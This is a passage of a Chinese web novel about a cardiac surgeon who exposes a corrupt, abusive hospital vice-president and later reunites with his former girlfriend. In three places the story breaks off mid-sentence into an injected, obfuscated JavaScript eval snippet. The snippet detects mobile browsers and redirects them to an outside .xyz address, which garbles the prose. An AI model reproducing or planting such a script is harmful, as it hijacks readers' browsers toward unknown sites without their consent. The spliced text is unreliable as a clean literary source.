于是更加相信是自己眼花了,不由得摸了摸垂在身侧的包,有点想把人工泪液掏出来用用的冲动。 “矛盾一直都在,你也知道,方仕平那个人官威很重,科里基本是他一言堂,跟他关系不好,连手术都不给你多做。” 但江问舟已经开口,她立刻聚精会神地听起来。 她微微歪头的样子竟然和年年有点像,江问舟嘴角一抽,用力压了压嘴角。 “我刚从京市回来没多久的时候,单位要招聘,问各科室有没需求,老师看好了一个川西医大毕业的学生,但方仕平不同意,强行换了另一个人。” 齐眉闻言眉头一挑,能让方仕平宁可直接和郭教授对上也要换上的人,要么本来就是他自己的人,要么人是别人的,他收了好处。 但也可以从另一个方面看出,郭教授和他之间的关系变得更差了,而且郭教授的处境应该不是很好,存在被夺权被架空的可能。 看到她眼神里流露的鄙夷,江问舟补充道:“换上的人是方智馨的男朋友。” 齐眉一愣,本来已经垂下去看年年的视线猛然一抬。 方智馨?那不是方仕平的女儿么,而且……她还曾经是江问舟的追求者。 方智馨比江问舟低一个年级,是心内科主任的学生,但是她看上了江问舟,借着方仕平的关系,几乎天天都去心外科报到,寻找各种机会接近他。 在齐眉的印象里,方仕平虽然和郭教授因为各自的利益和管理观念而不睦,但对江问舟还是不错的,给了不少机会,究其原因,应该也与方智馨有关。 齐眉和江问舟还没在一起之前就知道这号人物,一开始方智馨还当一口一个小学妹的叫她,后来发现她和江问舟的相处模式暧昧得根本不是正常兄妹能有的,她又一直强调江问舟的妈妈是她干妈,摆明了不是普通兄妹关系,态度立刻就变了。 到后来齐眉上了研究生,和江问舟正式确定关系,轮转到心内科时,不得不和方智馨天天见面的三个月里,简直受尽她的白眼。 动不动就是阴阳怪气,说什么找对象果然要趁早啊,不然好菜都被挑走了,虽然我年长几岁,但真没齐学妹有远见,人家可是从小就物色好对象了呢。 一开始她是忍着,不愿意多生事端,反正三个月不长不短的,很快就过了。 带教的学姐也安慰她,让她惹不起就躲着。 但后来方智馨居然还让她帮忙干活,她们根本不是一个组的,她拒绝之后还被方智馨骂,说她根本不是来学习的。 “看看整个办公室的女生,就你最会打扮,你是来选美的还是来学习怎么治病的?不想干就滚回去,这里不是让你当小姐的地方。” 话说得难听又恶毒,齐眉直接就被骂哭了,实在忍不住,这才告诉江问舟。 江问舟知道这件事,安慰了她好半天,又找了郭教授和她的导师莫铃教授商量,两位老师先后打了招呼,方智馨这才收敛起来,不再明着欺负她。 方智馨会这么做,敢这么做,和她有所仰仗有关,可见方仕平当时在申大一附院的权力之盛,足以庇护他的女儿在单位里嚣张跋扈而无人敢管。 想起这些事,齐眉看向江问舟的目光变得有些意味深长。 甚至一时没忍住,脱口问道:“我们分了,她居然没抓住机会趁虚而入?” 江问舟一顿,被她的眼神和这句话噎得不轻,半天没组织起能回应的话。 他使劲咬了咬后牙槽,半晌哼地冷笑一声:“她要是趁虚而入成功,你以后还回不回家?” 说完没等齐眉反应,立刻又改口:“不对,应该是我以后还回不回家?” 方智馨当时对齐眉做过的事,属于职场霸凌无疑,哪怕退一万万步,他也无法接受一个会做出这种行为的人作为伴侣,孙茂芸和江眀琮也不会让这样的人进家门,只会让他也一起滚出去。 “那样的话,估计只有你一个人会高兴。”江问舟实在没忍住,对着齐眉阴阳了一句。 当初她给的分手原因是什么呀?是思来想去,想来思去,还是觉得孙茂芸和江眀琮接受不了他们之间的恋情,她不愿意失去干爸干妈,不愿意看他们为难。 好家伙,我输给了我亲爹亲妈,真是如来佛来了都无语:) 他要是真的跟方智馨有些什么瓜葛,以前那些破事在家绝对瞒不住,紧接着他就会被扫地出门,齐眉就可以当这个家的独生女了。 真是妙蛙种子它妈给妙蛙种子开门,妙到家了:) 这话齐眉简直秒懂,咬着嘴唇神色讪讪,刚才揶揄他的勇气顷刻间又缩了回去。 江问舟抿着唇面无表情地看了她一会儿,转开眼,再开口时情绪已经恢复,语气也变得平静:“去年五月份,医院完成招聘,方智馨的男朋友进了我们科,在方仕平的有意安排下,进了陶青那一组。” 这是组里另一位带组主任,同时也是方仕平的开山大弟子,处事风格与方仕平如出一辙,手底下的学生和年轻医生都对她非常不服气。 甚至在学校贴吧,每年考研季都有人开小号发帖,让想考陶青的研究生的学弟学妹们快跑。 “之后就是陶青在他的支持下,朝向师兄的项目下手,以求达成架空师兄和老师,边缘化我们治疗组的目的。” 当时申大一附院心血管外科人员架构是副院长方仕平作为大科主任,郭教授是下属成人心血管外科的科主任,科里又有两个治疗组,分别由江问舟的师兄向栾和方仕平的学生陶青带领,因为两位主任的关系,两个治疗组天然分成两派。 向栾作为郭教授的开山大弟子,是最有可能接任他的人,但方仕平更希望陶青上位。 “六月份的时候,老师私底下跟我们透露,他可能要离开申大一附院,没有明说原因,但我们都知道,是因为方仕平和支持他的人沆瀣一气,老师的工作很难开展。” 江问舟说到这里,忍不住叹出一口气。 齐眉看着他皱起的眉头,忍不住低声抱怨:“方智馨还说我不像是去怎么给人看病的,我看他们才不是,净顾着争权夺利了。” 可不是么,上梁不正下梁歪,申大一附院心血管外科当时的工作氛围差到极点,从上到下全都人心浮动,宣传材料看上去花团锦簇,其实真正的成绩寥寥无几。 甚至于在业内,也渐渐风评变差。 这时候郭教授想另谋出路简直不要太正常,“但在走之前,他想先把向师兄推上去。” 齐眉听到这里,点点头:“向师兄为人正直。” 江问舟嗯了声,语气淡淡地继续:“我想跟老师一起走,但走之前我想先把方仕平弄下去。” 齐眉哦了声,应完才反应过来他说了什么。 不由得震惊地抬眼,看向他的目光里充满着不可置信,原本就圆润饱满的荔枝眼瞪得更圆了。 “……你说什么?”她愣愣地开口,语气飘飘忽忽,“……你、你怎么把他弄下去?” 问完她就想到了方仕平下台的事,还有她老师莫铃教授升任副院长的事,一个萝卜一个坑…… 但是她根本不敢相信,怎么会是江问舟呢? 他哪儿来的那么大本事?光脚的不怕穿鞋的,鱼死网破?可他不是……干得好好的么,都评上副高了…… 副高多难评,就算他所有条件都满足了,郭教授也同意,方仕平想为难他,只要说一句“还年轻,再多磨练磨练,夯实基础”,就可以把他卡下来。 医院是一个很小的环境,一位副院长兼大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559820|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科主任的影响力,在这里显得格外突出。 但江问舟随后便告诉她,她想得有点多了。 在得知自己老师要提桶跑路的第一时间,江问舟就找到郭教授,问他之后要去哪儿,很快就从郭教授这儿听到了前一年原本想招到申大一附院的那位川西医科大毕业的学生,后来已经入职容医大一附院。 因为要进一步开展业务,容医大一附院的心脏大血管外科进行了业务调整,而且巧合的是,原来的大科主任已经基本确定要高升,院内希望有新鲜血液补充,打算从外面引进一位新的主任。 那位学生及时将信息传递给了郭教授,郭教授已经和那边初步达成意向,大概在年底就会过去。 江问舟立刻问老师,能不能把他也带走,并且表示,如果不能,他也会在明年辞职离开这个单位。 郭教授问为什么,如果一切顺利,以后科里是向栾话事,他肯定比现在过得舒服,做生不如做熟,换一个地方又要重新经营。 齐眉边听边点头,心里就算有疑问也一声不吭,就怕打断他的思路。 偏偏这时他突然停了下来,不说了。 齐眉以为他是要组织措辞,等了片刻,却没等到下文,忍不住抬头追问:“然后呢?” 话音刚落,竟然从他面上看到了一丝纠结和犹豫,甚至可以说是抱歉的情绪。 不禁有些疑惑地看着他。 江问舟抿抿唇,轻轻叹了口气:“我就把方仕平骚扰过你的事告诉他了。” 齐眉一愣,还没来得及哦,就听他解释道:“我知道可以不说,但是……我希望得到老师的帮助,只靠我一个人,进度还差很多。” 齐眉还是没太听得明白,但她立刻摇摇头:“没关系,那件事又不是我的错,我可不怕别人知道。” 江问舟看着她,认真地打量她的表情,确定这应该是她的真实想法之后,才松口气点点头:“是这样没错。” 正因为他当时也这么想,所以还是把这事告诉了郭教授,并且告诉他,自己正在搜集方仕平学术不端和挪用项目经费的证据。 “我联系到了他曾经的学生,确定了他和陶青有几篇关于PCI的很重要的论文,用的数据其实是学生做出来的,还有用各种明目转移和套取项目经费,修改记账凭证,还有些支出和项目无关但也报销了,比如他过生日花了八万之类,还有多名女性和他有过不正当关系,其中还有他学生的女朋友……” 他列了不少问题,说有些是从他们学生那儿知道的,有的是自己查出来的,为了不打草惊蛇,他们很谨慎地约在和彼此都没有关系的城市见面,一些图片类的证据是用一部新的手机拍的,然后在网吧的电脑里整理好,存进新的U盘。 齐眉听得一愣一愣的,哇靠,这人当什么医生啊,当特工都行啊! “但真正的致命一击,是老师提供的他和医药公司的人资金来往的证据……” 总之最后这些证据都到了他手里,被他汇总成厚厚的一份资料,投送给了有关部门。 “我怕院里装死,还给学校纪委也投了,怕学校也装死,就给卫健委也投了一份。” 那些资料里最早的一份,是他和齐眉分手的那一年冬天收到的,距离被投递出去,时间跨度长达两年。 而在这个过程中,方仕平不是真的完全一无所察的,但他估计是觉得江问舟翻不出大风浪,找他谈了两次话,暗示他不要多管闲事,被他好好地敷衍过去之后,就满意地给了他一点甜头。 就是在他要评副高的时候,说了几句未来可期之类的好话。 接下来就是等待回复,配合调查,中途他担心这事不了了之,还做了闹到网上的准备工作。 “但好在最后结果是好的,他被停职了。”江问舟说到这里笑起来,眉眼瞬间柔和了不少,“接着老师就通知我回来面试了。” 谈好工作后,“我又回申城去处理了房子,和师兄师姐他们聚了一下。” “那些曾经劝我不要和方仕平作对的人,这时候又开始夸我了,说什么的都有。”他笑笑,“难怪老师愿意到容城来工作,不仅仅是一来就是大科主任,还因为这边的领导更加务实。” 医院医院,最根本的就是做好和疾病有关的工作,其他都是虚的。 齐眉静静听他说完,到这时才终于松出口气。 下意识地问了句:“要做成这件事,很难也很辛苦吧?” 11. 第十一章 一个小医生要将自己的大科主任,一个医院的副院长掀翻,很难吗? 当然很难,至少在江问舟得到自己老师的帮助,拿到那些方仕平和他人大额资金来往的证据之前,他都没有把握自己手头的证据真的能对方仕平造成伤筋动骨的伤害。 所以当齐眉问他是不是很难做到的时候,他点点头:“我的分量不够,他们有的人会担心我如果不成功,是不是会连累到他们。” 所以他要和别人另外约碰头地点,“所有保存材料用到的设备都是我新买的,用现金去到当地再购买,还要报销他们来回路费和住宿费。” 等到郭教授知道这事以后,他就不用再这么周折奔波了。 郭教授用自己在学界的影响力和地位为他做担保,那些之前曾经有顾虑的人知道以后,有的甚至匿名给他发邮件,讲述了自己的遭遇。 “另有一个女学生,是被方仕平□□,事后方仕平说会给她挂一作,帮她安排工作,她想着自己既然已经吃了亏,又大概率没办法斗倒对方,索性就认了这个好处。” 毕竟还要在对方收下混到博士毕业,而且也怕这事传出去以后,自己不但得不到支持,还要被问一句:“为什么他只找你不找其他人?是不是你不够检点,你有没有找过你的问题?” 这个社会对女性太苛刻了,她说自己不敢冒险,不如当被狗咬了一口。 但是方仕平不是只找她一次就算了,这种事有一就有二,他今天说我会给你什么什么好处,明天就说你也不想这事被别人知道觉得你是个不正经的人吧?我无所谓,但你不一样,你还年轻,名声坏了多不好。 总之就这样,在这位学生读博的三年里,一直和方仕平保持着这种关系,一边拿着方仕平许诺给她的利益,一边唾弃自己。 而且方仕平在同一段时间里还有别的女人,她渐渐又觉得委屈,有了我一个还不够吗,怎么还要找别人? “听起来她对老登的感情很复杂。”齐眉听到这里,忍不住开口评价道。 江问舟的语气顿了顿,深深看一眼她听故事的表情。 果然还是这种她愿意听,要是他跟她说方仕平在哪些课题上搞了多少手脚怎么搞的,她估计不会这么感兴趣。 他顿了顿,点点头嗯了声:“毕业她就回了家乡所在地的三甲医院工作,本来以为事情已经过去了,结果前几年她谈了个男朋友,快要结婚的时候,男方突然收到了一封信,信封里面是她和方仕平的亲热照。” 是方仕平在对方毫不知情的情况下偷拍下来的,照片很高清,她只好承认了这件事。 “后来呢?”齐眉问道,语气里夹杂着一抹她自己都没注意到的难过,“是不是分手了?没有人能……” “他们按照原计划举办了婚礼。”江问舟干脆地打断她的话,“男方知道方仕平对她做过的事之后,建议她把这些照片保存起来,防止以后某天有用得着的地方。” 当他找到曾经被方仕平抢占实验数据的学生,提出想要原始版的实验数据时,对方虽然没有立刻答应他,但却给这位女同学透露了消息。 有人要搞方仕平。 “她在邮件里说,一开始很激动,但发现想要搞事的人只是一个小小主治,就觉得不太可能成功,所以不敢和我联系。”江问舟苦笑,摇摇头。 不过好在这种局面在郭教授介入后,就完全被逆转了。 但是,“你问我辛不辛苦,其实还好,毕竟是在做自己觉得对的事,你也知道,我的耐心一向还算好。” 江问舟说着又失笑,“不过确实走了不少弯路,老师当时还说,我应该早点跟他讲的,不然可能早就回来了。” 但也可能科室的风气为之一清,郭教授顶替了方仕平的位置,又觉得留在申大一附院可以了,这样江问舟再回容城,未必能有今天的位置。 “我现在能带组,还是托了老师的福,不然空降兵哪有这么好的待遇。”他说完还耸了一下肩。 但齐眉有些走神了,不太听得进他后面的这一大段话。 还在想方仕平那个学生的事,他们居然结婚了,没分手? 为什么?真的会有人不介意这种事吗?到底是爱让对方暂时忘记这根刺,还是他本来就觉得这种事无关紧要? 齐眉不懂,即便她谈过恋爱,但她还是不懂。 从这点上来看,其实算是江问舟的失职,他教过齐眉很多东西,却没有教会她无论在什么情况下都要相信他。 等齐眉回过神,江问舟的声音刚好停下来,她只听到了“带组”和“空降兵”这两个关键词。 怕被他发现自己的心不在焉,她忙顺着他的话问道:“那……大家能服气你吗?” 问完顿了一下,又赶紧接着解释:“我的意思是,他们科里应该原本就有可以带组的人,你来了,是不是挤占了他们原本的位置?会不会……有人有意见,不配合工作?” 解释得越多,话语里的关切就流露得越明显。 江问舟望着她那双逆着光的眸子,忽然想起从前很多个和她一起散步的夜晚,她也会像现在这样,问他今天工作怎么样呀。 不由得心里一软,摇摇头,连声音都变得柔和不少,“老师过来以后,将科里的人员安排做了一些调整,容医大一附院的心脏大血管外科下面有成人心脏外科、先心病外科、体外循环等等好几个二级科室,有的科室业务量多一点,有的少一点,加上现在业务扩展,比如加开了MDT门诊,人就要动一下。” 具体到江问舟所在的成人心脏外科,原来是两个治疗组,郭教授观察了一下,觉得大家的工作量都太大了,感觉少了谁都会有工作做不完,这样很容易因为人手不足导致进修和下乡难以派出。 所以除了江问舟之外,同期入科的还有另外两名同事,都被安排进了成人心脏外科。 “前两天跟我和老师一起去申城开会的陈妍是其中之一,她是本院毕业的博士,另一位新人被安排到隔壁组,换了一位高年资的主治过来。”江问舟仔细解释道,“当时本来想招进申大附院结果没成功的秦一鸣,也调到了我这一组。” 另外还有一位今年轮值住院总的蔡朝,组成一个五人组,说一句势单力薄也不为过。 “人很少,只能说目前够用,看看后面情况吧,现在心血管疾病有年轻化的趋势,病人是越来越多了,大家都忙,也就没心思想别的,相处还行。” 齐眉原本也不是真的很想听这些,只是为了转移注意力罢了,只一边听一边点头,不做任何评价。 于是等江问舟回答完自己的同事都有谁,气氛便再次变得沉默。 原本因为讲起他这几年在申城做的事,俩人之间那种已经消弭许多的距离感,此刻悄然回归。 齐眉心里是有疑惑的,就是方仕平那个女学生和她对象的事,她真的很好奇他们最后还是结婚了的原因是什么。 但她犹豫半晌,还是决定不问了,因为江问舟不一定知道,即便他知道,也告诉她了,似乎也不会怎么样。 这不是什么很重要的问题,非要一个确定答案不可。 江问舟将她的犹豫看在眼里,本来想问她还有什么想知道的,但话到嘴边又硬生生忍了回去。 真是没眼看。 她不会以为自己还会像以前那样,上赶着猜她的心思吧?想知道就问,没问就是没问题。 就这样安静了好一会儿,齐眉才有些干巴巴地说了句:“这样……那就好。” 说完就听见耳边传来一声轻嗤。 有些不以为然,甚至是嘲讽,大概是看出了她的犹豫,齐眉顿时讪讪。 见她讷讷的,似乎想走又不好意思走的模样,江问舟心里忍不住自嘲。 也不知道刚才是在期待什么。 他低头看一眼已经在她脚边趴下的年年,见它刚好打了个哈欠,就说:“回去吧,你的狗困了。” 真是一个略有些生硬的打破沉默的方式,但齐眉立刻顺着梯子就麻溜下来了,点点头应好。 然后拽一下牵引绳,将趴在地上的年年喊起来,犹豫一瞬,还是跟江问舟说了句:“改天有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559821|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空欢迎到我们店里坐坐,在思齐路那边,挨着音乐学院,叫No.12 Diner & Lounge,12号餐车与酒廊,白天有咖啡和简餐,晚上有鸡尾酒。” 说完看见江问舟脸上的表情变得有些玩味,不由得再度噤声。 江问舟这次没再放过她,直接说了一句:“比起看病人,你确实更喜欢,也更适合做生意。” 说完还发出一声哼笑。 齐眉抬眼,看见他还摇了摇头,眼角突然出现了一丝无奈的情绪。 原本的委屈顿时又变成了疑惑。 他如果只是简单的嘲讽或者恨铁不成钢,她是能理解的,毕竟从俗世目光的角度来看,她放弃曾经为之付出巨大努力的专业,放弃可以继续深造的机会,转而去做什么酒吧老板,实在是跟自甘堕落无疑。 去当酒吧老板,或者是调酒师,只要你去当一阵子学徒就会了,跟医生怎么能比,当医生既体面又稳定,说出去多好听,反而是在酒吧,一说就让人第一时间觉得这个女孩子混夜场不正经。 这是很多普通人戴着有色眼镜的通俗认知。 江问舟虽然不至于这样想,但却同样觉得她这样不应该,因为沉没成本实在太大了,创业万一亏了,可不是开玩笑的。 就连当时干爸干妈劝她去机场上班,也是这说的,好歹有一份旱涝保收的工作托底,万一酒吧经营不下去,也不至于焦虑到吃不下饭睡不着觉。 齐眉能接受,也明白江问舟的冷嘲热讽,因为她取到过的成绩里,确确实实有他一份功劳,那些他熬夜为她整理的复习资料,手把手教过的操作,还有陪她在自习室刷题时无言的灯光都是证明。 所以他比她还不甘心,否则也不会特地告诉她,她的老师和同门如今都到了什么职位。 但齐眉不理解他为什么自嘲,是觉得自己的付出被辜负了,还是因为别的原因? 齐眉不知道,也不敢问。 就算知道了原因又能怎么样呢?她大概率无法让他满意,现在也不比从前,她会不断努力将自己包装成他满意的样子,只为了向他靠近。 “是呀,我觉得在店里比在诊室或者实验室更自在,有很多故事听,还有好喝的酒。”她笑着点点头,“微醺的时候最舒服,可以什么都不想。” 江问舟看着她的眼睛,微微一哂。 低头看了一眼吐着舌头的年年,伸手揉揉它的大脑袋,淡淡道:“你小子最好下次别认不出我。” 说完手掌往年年鼻子下一凑,手心被它舔了两下就收回,冲齐眉淡淡道:“回去吧,天晚了。” 齐眉点点头,有些干巴巴地回了一句:“你也是。” 应完赶紧拉着年年要走人。 刚转身,又被他叫住:“等等。” 齐眉立刻住脚,回头疑惑地看他一眼,只见他脸色有点臭臭的,手机往她面前一伸:“把我的微信加上。” 语气听起来也很美好奇,她眨眨眼,很想硬气地说不,你让我加我就加,那我不是很没面子? 但事实却是她哦了声,老老实实地扫码添加了他的微信。 加完之后再次干巴巴地再见,这次终于顺利领着年年走掉。 等到上了车,她回头看年年坐稳没有,才想到,我们是妹妹狗诶,什么你小子呀! 下次一定要纠正过来! 江问舟在齐眉转身以后,接着看手机的功夫,站在原地迟迟没动。 等她上了车,车门关闭的声音传来,他才收起手机回头去看。 看着她的车子启动,慢慢走远,突然想起在某一段时间内反复出现的梦。 梦里他也是这样,站在齐眉的身后,看着她一步一步朝前走,从一开始的脚步缓慢,到大步流星,最后飞奔着跑向他再也看不见的远方。 他得承认,在听到她说出觉得在店里比在诊室或者实验室更自在那句话时,他的内心是松了一口气的。 那就好,他该做的事都做了,结果也都还不错。 她既已朝前走,就该轮到他放过自己了。 12.第十二章 周一清晨,容医大一附院心外科医生办公室,陈妍一边把U盘里的课件导入电脑,一边抬头看向蔡朝。 “蔡总,我把课件导入共享了哈,记得安排讲课。” 前一晚的病区并不平静,一会儿是病人心率和血压像跳楼机往下蹦,一会儿是急诊说有急会诊,蔡朝作为住院总,那是事事都要参与,恨不得一个人掰成几个人来用。 从凌晨两三点忙到这会儿,头发都没来得及梳,就这么顶着鸟窝头在补医嘱。 听到陈妍的话,就抬头推推鼻梁上的眼镜,先是应了声好,接着随口一问:“去申城有没有遇到什么有意思的事啊?” “能有什么有意思的事啊,议程都排满了,除了吃饭和回房间睡觉,其他时间不是在参加会议就是在去参加会议的路上,硬要说有趣……” 陈妍说到这里突然停了下来,蔡朝没注意她的突兀,哇靠问道:“你这么积极?去了三天,都没出去逛逛?” 不应该啊,这种会议大家向来都当公费出差的,难得出门一趟,不去当地的地标打打卡,品尝品尝当地美食,像话吗? 一旁同组的主治沈媛这时也搭腔:“就是,你什么时候这么积极了,又不是去年我们一起去参加年会你嫌会议课题没意思的时候了?” 看老大在群里发的会议议程安排表,内容跟去年年会也大差不差,怎么那会儿不听,现在这么上进? 沈媛的语气里充满了开玩笑的揶揄,其他人听了都忍俊不禁,好笑地看着陈妍。 陈妍被大家看得脸上有点挂不住,辩解道:“我什么时候不积极了,别胡说好吧,我干的活你们都没看见吗?上个月只有我的病历没被扣钱!” 啊,要这么说的话好像也是……大家立刻收声,以示默认。 陈妍见大家都哑口了,这才哼哼两声,紧接着叹口气:“其实我也不想的,我也不是真的那么积极,是老大和主任都这么积极,他们跟完全程啊,你们说我敢跑吗?就我们仨!” 这怎么说,两个顶头上司看着你,你也跑?这么头铁? 大家:“……”那这是跑不了哈:) 隔壁组的同事半晌啧了声,有些幸灾乐祸地道:“幸好我们老宋比较佛,不然真的要被卷死了。” 这世上既然有江问舟那样年纪轻轻就一堆实绩加身的卷王,就一定会有差不多就行的躺平派,比如隔壁组的宋世朗主任。 能力什么的都毋庸置疑,手术做得很漂亮,门诊病人也很多,信得过他的病人真的会大老远从其他城市特地来找他看病。 但人也确实佛系,年纪大了,科室竞争能不参与就不参与,最大的爱好是跟大家聊他养的一对虎皮鹦鹉。 因此宋主任手下集齐了科里最佛系的一拨人,大家相处非常愉快,最常做的事是凑够几个人就搞聚餐,还勾搭其他组的人也一起。 科里还有一个治疗组,带组的是大科主任李榕的开山大弟子,处于中间派,比宋主任卷一点,因为还年轻,还想拼搏一番事业,但比江问舟佛一点,主要是年纪已经过了四旬,精力不比从前。 她自己都吐槽,这就是当代中年人的现状,躺又不甘心,卷又卷不动,上有老下有小,孩子和父母等着花钱,房子等着还贷,一点可能行差踏错的风险都不敢冒。 所以她手下的组员们也凡事求稳,也是科里最稳的一帮人,做事谨慎,明哲保身,同时注重安稳,郭教授私底下跟江问舟说过,这一组人如果不是被逼到极致,是绝对不会离职的。 除此之外,还有几个人是既年轻,又比较愿意卷的,就和江问舟是绝配了。 一个科室三个治疗组,每个组都有自己的做事风格,虽然彼此之间仍然存在竞争,但比起以前在申大一附院,那可是和谐太多了。 陈妍听见同事幸灾乐祸的吐槽,嗤了声,然后看向站在她旁边打印医嘱的秦一鸣,问道:“秦师兄,我记得你跟老大还有郭主任是以前就认识的?” 秦一鸣漫不经心地嗯了声,问她怎么了。 “什么时候认识的啊?”陈妍扭身,好奇地问。 “我本科实习的时候呗,那会儿我没听学校的安排,自联的,我家就在申城,申大一附院在家门口,轮转到心外的时候认识的。” “那个时候咱们老大就……这么卷了?” “卷啊,那时候他快要毕业了,除了正常临床工作,他还要去实验室的,每天要忙到差不多十一点才回宿舍,那时候就已经发过好几篇一区了,都是独立一作。” 对面宋主任组的同事吐槽:“我靠,什么狠人……不是,图什么啊,这么燃烧自己,后面几十年还活不活了?” 秦一鸣耸耸肩:“他说就是喜欢,觉得做实验有成就感。” 陈妍好奇八卦:“也不谈恋爱?” “当时还没有女朋友,不过有个很亲的……妹妹,算是吧。”秦一鸣一边八卦江问舟,一边低头签字,“我在的那个月见过两次,来给他送喝的,说是他爸妈的干女儿,关系很好,到我研究生要毕业那会儿,本来想读郭教授的博嘛,就跟他联系多了点,听说他们在一起了。” 但后来还是阴差阳错没读成郭教授的博士,没能和江问舟成为同门。 陈妍看一眼墙上的挂钟,快到七点半了,还有大概十分钟左右,江问舟会准时抵达办公室,于是立刻问出自己最好奇的那个问题。 “你在那会儿主任是谁啊,老大在申大一附院的时候,是不是跟他有什么私仇?” 私仇?大家的耳朵一下就都支起来了。 江问舟才来没多久,大家对他还不十分熟悉,就连他的手术风格都还没摸透,更别提私生活。 但偏偏八卦就是写在人类生命里的基因片段,只是表达水平有些差异。 秦一鸣闻言愣了一下,目光微微一闪,反问道:“你听谁说的这事?” 陈妍没多想,立刻回答道:“开会的时候,我去洗手间,在厕所隔间听到外面有人聊天说的。” 她将自己听到的聊天内容大概复述了一遍,听她提到方仕平,办公室内顿时响起一阵惊呼。 连一直低头看手机不参与任何讨论的宋主任都忍不住了,问道:“真的假的?我只知道方仕平是被人举报的,原来举报他的是小江吗?” “是吧!”陈妍轻轻拍了两下桌子,使劲压住自己的音量,“我听到的时候都震惊死了,我靠!我老大这么牛逼,居然把一个副院长干翻了?” “应该也有郭主任在背后推了一把的关系。”宋主任笑笑,又摇摇头啧了声,“还是年轻人敢想敢做,新的胆就是气足。” 陈妍接着他的话应是,然后道:“但也肯定是被逼到一定份上才敢这么干的,大家都不是光脚的,肯定也怕被打击报复啊,敌我力量这么悬殊,弄不好他的学术前途全玩完。” 但江问舟还是那么干了,说明此仇甚大,大到他宁可冒这么大的风险,也要向方仕平发起报复。 她能想到的,其他人当然也能想到,于是都看向秦一鸣。 秦一鸣笑笑,淡定地说着九真一假的话:“是有点矛盾,老大他女朋友……哦,那会儿还是妹妹,实习的时候,被方仕平的女儿欺负过,我说他是冲冠一怒为红颜,你们信不信?” 这怎么信,大家哈哈一笑,都认为这最多是导火索。 秦一鸣也跟着笑,说:“那我就不知道了,没打听过,打听了也不会说,打听来做什么。” 这倒也是,换了是自己,这么大的事,也不会轻易告诉别人自己做了什么。 “感觉这事换一个人是做不到。”沈媛这时说了句。 有他这份勇气和人脉的,少了点契机,被逼到份上想动手的,又可能没有这份勇气和人脉。 陈妍刚点点头,就听到门口突然有学生打招呼:“主任早上好。” 哪个主任?她抬头的时候看了一眼墙上的挂钟,正好是七点四十分。 扭头一看,果然是江问舟来了。 手里还提着两个袋子,袋子上有申城国际饭店的标志,是饭店出的点心礼盒,手信必备,很多游客都人手一盒的,袋口上的封口条都还完完整整。 陈妍有些惊讶:“老大你不是就买了两箱,怎么都拿来了,不给家里人留点?” “家里不缺。”江问舟淡淡应道。 他爸妈不爱吃甜食, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569710|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以给带了茶叶和丝巾,点心礼盒本来是给齐眉买的。 但一开始是犹豫不知道会不会勾起她不好的回忆,当年走得那样坚决,似乎一点都不想再和那座城市发生任何联系,那她曾经爱吃的点心现在还喜欢吗? 后来是跟齐眉聊起来之后,心里一直有股气不知打哪儿来,有点看着她就想戳她几手指头的冲动,烦死了,吃吃吃,吃个屁。 于是最后这两盒点心也没给到齐眉手里,他干脆提来办公室了。 “大家尝尝,国际饭店的点心还是很不错的。”他微微笑着说了一句,转头问蔡朝,“13床的检查结果都出了没有,家属这几天在吗?” 那是一个从外地过来的主动脉瓣关闭不全的女病人,丈夫陪她过来治病,但因为家里经济条件一般,很担心在容城这段时间花太多钱,所以在等手术这段时间里,他还注册了一个骑手账号,每天去送外卖。 江问舟就怕要谈话的时候找不到人。 “她老公不在,女儿过来了。”蔡朝说着将病历夹翻开到粘贴单那几页,递给他,继续道,“昨天晚上还来问你今天在不在,想跟你了解一下情况。” 江问舟点点头:“交班过后查一下房。” 沈媛这时递了本病历过来,他低头看一眼床号,边签字边对沈媛说:“这个病人的依从性很差,复查的时间你要告诉他家属。” 沈媛刚应了声好,就见蒋护长和李主任一前一后地进来。 李主任边走还边擦着手里的眼镜,路过江问舟的时候还停下来问了一句开会的情况。 等听到蒋护长喊护士们过来交班,这才暂时停下话题。 新的一周就这样开始了。 交班,查房,半天门诊,因为今天值班,江问舟还要负责会诊。 中午去神内会诊完患者回来的路上,他从连廊的玻璃窗往外看,看见很高很远的天空,还有远处高耸的建筑,突然想起齐眉。 也不知道这个时候她在做什么。 这人以前不上班的时候就爱睡懒觉,但是睡也睡不踏实,睡不多久就醒了,问他想喝什么汤。 她上大学以前根本没做过这种事,上了大学突然就会了。 江问舟突然想不起来,她是什么时候学会的,只记得自己第一次喝到,就已经是成功的版本。 他也还记得是在齐眉大三的时候,也是四月份,有一天她神秘兮兮地告诉他:“我买了点好东西!” 他问是什么,她不肯说,只说:“等我成功了再告诉你,要是告诉你了,我却没成功,那会很没面子的。” 